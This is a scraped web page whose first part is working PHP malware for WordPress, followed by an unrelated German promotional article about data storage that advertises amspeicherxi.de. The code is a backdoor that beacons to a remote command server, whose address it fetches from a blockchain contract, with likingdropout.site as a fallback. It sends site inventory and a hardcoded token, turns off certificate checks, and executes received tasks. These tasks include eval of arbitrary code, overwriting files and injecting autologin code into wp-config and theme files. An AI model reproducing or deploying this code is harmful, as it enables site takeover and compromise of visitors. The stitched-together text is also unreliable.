// wq_j1 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home1/ivalktte/public_html/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// wq_j1', 'vis'=>'// p9_87', 'vis_func'=>'wp_xzc79r', 'vis_paths'=>array('/home1/ivalktte/public_html/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_hp9gkbn5', ); $keys=array(); $keys['id']='k5z'; $keys['ver']='g7'; $keys['caps']='4sq'; $keys['tasks']='dxd'; $keys['interval']='hp4'; $keys['ack_id']='buo'; $keys['ok']='tr'; $keys['detail']='y91'; $keys['inv']='2d7'; $keys['result']='bjc'; $hdr='X-XDH-Auth';$tok='WikA0829hTuA1fpFDgtUKptd1d2zs3lVs27pxQTg8rQ';$id='bdf194827e552ad9';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Zuverlässige Datenspeicherung und https://amspeicherxi.de für eine stabile IT-Infrastruktur

Zuverlässige Datenspeicherung und https://amspeicherxi.de für eine stabile IT-Infrastruktur

Zuverlässige Datenspeicherung und https://amspeicherxi.de für eine stabile IT-Infrastruktur Die Bedeutung von Redundanz und Datensicherung Verschiedene Arten der Datensicherung Datenspeicherung in der Cloud vs. On-Premise Vor- und Nachteile im Detail Die Rolle der Virtualisierung und des Containerisierungs Vorteile für die Datenspeicherung Zukunftstrends in der Datenspeicherung Datensouveränität und Compliance als kritische Faktoren 🔥 Spielen ▶️ Zuverlässige Datenspeicherung…


Zuverlässige Datenspeicherung und https://amspeicherxi.de für eine stabile IT-Infrastruktur

In der heutigen digitalen Landschaft ist die zuverlässige Datenspeicherung ein Eckpfeiler für den Erfolg eines jeden Unternehmens. Daten sind das neue Gold, und der Schutz dieser wertvollen Ressource ist von größter Bedeutung. Unternehmen benötigen Lösungen, die nicht nur eine sichere Aufbewahrung gewährleisten, sondern auch eine schnelle und einfache Wiederherstellung im Falle eines Datenverlusts ermöglichen. Hier kommt https://amspeicherxi.de ins Spiel, ein Anbieter, der sich auf die Bereitstellung robuster und skalierbarer Datenspeicherlösungen spezialisiert hat.

Die Wahl der richtigen Datenspeicherlösung ist entscheidend für die Kontinuität des Geschäftsbetriebs. Ob es sich um die Speicherung von kritischen Geschäftsanwendungen, Datenbanken, virtuellen Maschinen oder einfach nur um wichtige Dokumente handelt – eine zuverlässige Infrastruktur ist unerlässlich. Die Datenmengen wachsen exponentiell, und herkömmliche Speicherlösungen stoßen oft an ihre Grenzen. Moderne Unternehmen benötigen flexible und kosteneffiziente Lösungen, die sich an ihre sich ändernden Anforderungen anpassen können. Eine durchdachte Strategie für die Datenspeicherung, die sowohl die aktuellen als auch die zukünftigen Bedürfnisse berücksichtigt, ist daher unerlässlich.

Die Bedeutung von Redundanz und Datensicherung

Ein zentraler Aspekt einer robusten Datenspeicherstrategie ist die Redundanz. Das bedeutet, dass Daten an mehreren Orten gespeichert werden, um sicherzustellen, dass sie auch dann verfügbar bleiben, wenn ein Speichergerät ausfällt. Durch die Implementierung von Redundanz können Unternehmen das Risiko von Datenverlusten minimieren und die Geschäftsabläufe aufrechterhalten. Ergänzend zur Redundanz ist eine regelmäßige Datensicherung unerlässlich. Sicherungen ermöglichen die Wiederherstellung von Daten zu einem bestimmten Zeitpunkt im Falle eines Datenverlusts, sei es durch Hardwarefehler, menschliches Versagen oder böswillige Angriffe. Es ist wichtig, einen umfassenden Sicherungsplan zu entwickeln, der alle kritischen Daten umfasst und regelmäßig getestet wird.

Verschiedene Arten der Datensicherung

Es gibt verschiedene Arten der Datensicherung, aus denen Unternehmen wählen können. Vollständige Sicherungen erstellen eine vollständige Kopie aller Daten, während inkrementelle Sicherungen nur die Änderungen seit der letzten Sicherung speichern. Differentiell Sicherungen speichern die Änderungen seit der letzten vollständigen Sicherung. Die Wahl der richtigen Sicherungsstrategie hängt von den spezifischen Anforderungen des Unternehmens ab, einschließlich der Größe der Datenmenge, der Häufigkeit der Änderungen und der Wiederherstellungszeitziele. Cloud-basierte Sicherungslösungen bieten eine kostengünstige und skalierbare Möglichkeit, Daten zu sichern und zu schützen. Sie ermöglichen es Unternehmen, ihre Daten extern zu speichern und vor lokalen Katastrophen zu schützen.

Sicherungstyp Beschreibung Vorteile Nachteile
Vollständige Sicherung Erstellt eine vollständige Kopie aller Daten. Einfache Wiederherstellung, vollständige Datensicherung. Benötigt viel Speicherplatz und Zeit.
Inkrementelle Sicherung Speichert nur die Änderungen seit der letzten Sicherung. Schnelle Sicherungszeiten, geringer Speicherplatzbedarf. Längere Wiederherstellungszeiten.
Differentiell Sicherung Speichert die Änderungen seit der letzten vollständigen Sicherung. Schnellere Wiederherstellungszeiten als inkrementelle Sicherungen. Benötigt mehr Speicherplatz als inkrementelle Sicherungen.

Die Auswahl der passenden Sicherungsmethode sollte immer auf einer individuellen Risikoanalyse basieren. Eine Kombination verschiedener Sicherungsstrategien kann oft die beste Lösung darstellen.

Datenspeicherung in der Cloud vs. On-Premise

Eine der grundlegenden Entscheidungen, die Unternehmen bei der Wahl einer Datenspeicherlösung treffen müssen, ist die zwischen Cloud-basierter und On-Premise-Speicherung. Cloud-basierte Speicherung bietet den Vorteil der Skalierbarkeit, Flexibilität und Kosteneffizienz. Unternehmen können ihre Speicherkapazität nach Bedarf erweitern oder reduzieren, ohne in teure Hardware investieren zu müssen. Darüber hinaus übernimmt der Cloud-Anbieter die Verantwortung für die Wartung, Sicherheit und Verfügbarkeit der Infrastruktur. On-Premise-Speicherung hingegen bietet Unternehmen mehr Kontrolle über ihre Daten und die Sicherheitsinfrastruktur. Dies kann für Unternehmen mit strengen Compliance-Anforderungen oder sensiblen Daten von Vorteil sein.

Vor- und Nachteile im Detail

Die Entscheidung für Cloud- oder On-Premise-Speicherung hängt von den spezifischen Anforderungen und Prioritäten des Unternehmens ab. Cloud-basierte Lösungen sind oft die beste Wahl für kleine und mittelständische Unternehmen, die über begrenzte IT-Ressourcen verfügen und eine flexible und kostengünstige Lösung suchen. Größere Unternehmen mit komplexen Anforderungen und strengen Sicherheitsstandards können sich für eine hybride Lösung entscheiden, die die Vorteile beider Ansätze kombiniert. Es ist wichtig, eine gründliche Bewertung der Vor- und Nachteile beider Optionen durchzuführen, bevor eine Entscheidung getroffen wird. Ein wichtiger Faktor ist auch die Bandbreite der Internetverbindung, da die Cloud-basierte Speicherung eine stabile und schnelle Verbindung erfordert.

  • Cloud-basierte Speicherung: Skalierbarkeit, Flexibilität, Kosteneffizienz, geringer Wartungsaufwand.
  • On-Premise-Speicherung: Mehr Kontrolle über Daten und Sicherheit, geeignet für sensible Daten und strenge Compliance-Anforderungen.
  • Hybride Lösung: Kombination der Vorteile beider Ansätze, Flexibilität und Kontrolle.
  • Sicherheitsaspekte: Beide Modelle erfordern robuste Sicherheitsmaßnahmen, um Daten vor unbefugtem Zugriff zu schützen.

Die Datensicherheit sollte bei beiden Modellen oberste Priorität haben. Regelmäßige Sicherheitsaudits und die Implementierung bewährter Sicherheitspraktiken sind unerlässlich.

Die Rolle der Virtualisierung und des Containerisierungs

Virtualisierung und Containerisierung haben die Art und Weise, wie Unternehmen ihre Anwendungen und Daten speichern und verwalten, grundlegend verändert. Virtualisierung ermöglicht es, mehrere virtuelle Maschinen auf einem einzigen physischen Server auszuführen, was zu einer besseren Auslastung der Ressourcen und einer Reduzierung der Kosten führt. Containerisierung geht noch einen Schritt weiter und ermöglicht es, Anwendungen in isolierten Containern auszuführen, die leicht portierbar und skalierbar sind. Diese Technologien bieten Unternehmen die Möglichkeit, ihre Datenspeicherinfrastruktur effizienter zu nutzen und ihre Anwendungen flexibler bereitzustellen.

Vorteile für die Datenspeicherung

Die Kombination von Virtualisierung und Containerisierung mit modernen Datenspeicherlösungen bietet eine Vielzahl von Vorteilen. Durch die Virtualisierung von Speicherressourcen können Unternehmen ihre Speicherkapazität dynamisch an die Anforderungen ihrer Anwendungen anpassen. Containerisierung ermöglicht es, Anwendungen mit ihren zugehörigen Abhängigkeiten in isolierten Containern zu speichern und zu verwalten, was die Bereitstellung und Wartung vereinfacht. Diese Technologien tragen dazu bei, die Agilität und Reaktionsfähigkeit von Unternehmen zu verbessern und die Kosten zu senken. Die Implementierung dieser Technologien erfordert jedoch eine sorgfältige Planung und Expertise, um sicherzustellen, dass die Leistung und Sicherheit nicht beeinträchtigt werden.

  1. Virtualisierung ermöglicht die bessere Auslastung von Serverressourcen.
  2. Containerisierung vereinfacht die Anwendungsbereitstellung und -verwaltung.
  3. Dynamische Speicherzuweisung verbessert die Effizienz.
  4. Erhöhte Agilität und Reaktionsfähigkeit des Unternehmens.

Die Integration dieser Technologien in die bestehende IT-Infrastruktur ist ein wichtiger Schritt zur Modernisierung der Datenspeicherung.

Zukunftstrends in der Datenspeicherung

Die Datenspeicherlandschaft entwickelt sich ständig weiter. Neue Technologien und Trends prägen die Zukunft der Datenspeicherung. Object Storage, eine Architektur, die Daten als Objekte und nicht als Dateien oder Blöcke speichert, gewinnt zunehmend an Bedeutung, insbesondere für die Speicherung unstrukturierter Daten wie Bilder, Videos und Dokumente. Software-Defined Storage (SDS) bietet Unternehmen die Möglichkeit, ihre Speicherinfrastruktur unabhängig von der zugrunde liegenden Hardware zu verwalten und zu automatisieren. Diese Technologien bieten Unternehmen die Möglichkeit, ihre Datenspeicherlösungen flexibler, skalierbarer und kosteneffizienter zu gestalten. Die Entwicklung von künstlicher Intelligenz (KI) und maschinellem Lernen (ML) wird ebenfalls eine wichtige Rolle bei der Verbesserung der Datenspeicherung spielen, beispielsweise durch die Automatisierung von Verwaltungsaufgaben und die Optimierung der Leistung.

Datensouveränität und Compliance als kritische Faktoren

In einer zunehmend vernetzten Welt wird die Datensouveränität immer wichtiger. Unternehmen müssen sicherstellen, dass ihre Daten in Übereinstimmung mit den geltenden Gesetzen und Vorschriften gespeichert und verarbeitet werden. Besonders in Europa, mit der Einführung der Datenschutz-Grundverordnung (DSGVO), haben Unternehmen strenge Anforderungen an den Schutz personenbezogener Daten zu erfüllen. Die Wahl eines Datenspeicheranbieters, der die Anforderungen der Datensouveränität und Compliance erfüllt, ist daher von entscheidender Bedeutung. Es ist wichtig, dass der Anbieter transparente Richtlinien und Verfahren zum Schutz der Daten hat und dass die Daten in einem sicheren Rechenzentrum gespeichert werden. Die Einhaltung dieser Vorschriften ist nicht nur eine rechtliche Verpflichtung, sondern auch ein Zeichen des Vertrauens für Kunden und Partner. https://amspeicherxi.de bietet hier entsprechende Lösungen und Unterstützung.

Die Berücksichtigung der Datensouveränität ist ein fortlaufender Prozess, der eine ständige Überwachung und Anpassung erfordert. Unternehmen müssen sicherstellen, dass ihre Datenspeicherstrategie den sich ändernden rechtlichen Rahmenbedingungen entspricht und dass ihre Daten jederzeit geschützt sind. Eine proaktive Herangehensweise an die Datensouveränität ist daher unerlässlich, um das Vertrauen der Kunden zu gewinnen und das Risiko von rechtlichen Konsequenzen zu minimieren.


Leave a Reply

Your email address will not be published. Required fields are marked *